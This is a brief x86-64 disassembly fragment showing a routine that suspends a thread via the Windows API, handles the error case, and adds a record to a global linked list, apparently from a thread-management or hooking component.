call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x1400099a8
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x140009949
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x140032290]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x140032290], rax
xor eax, eax
add rsp, 0x48
ret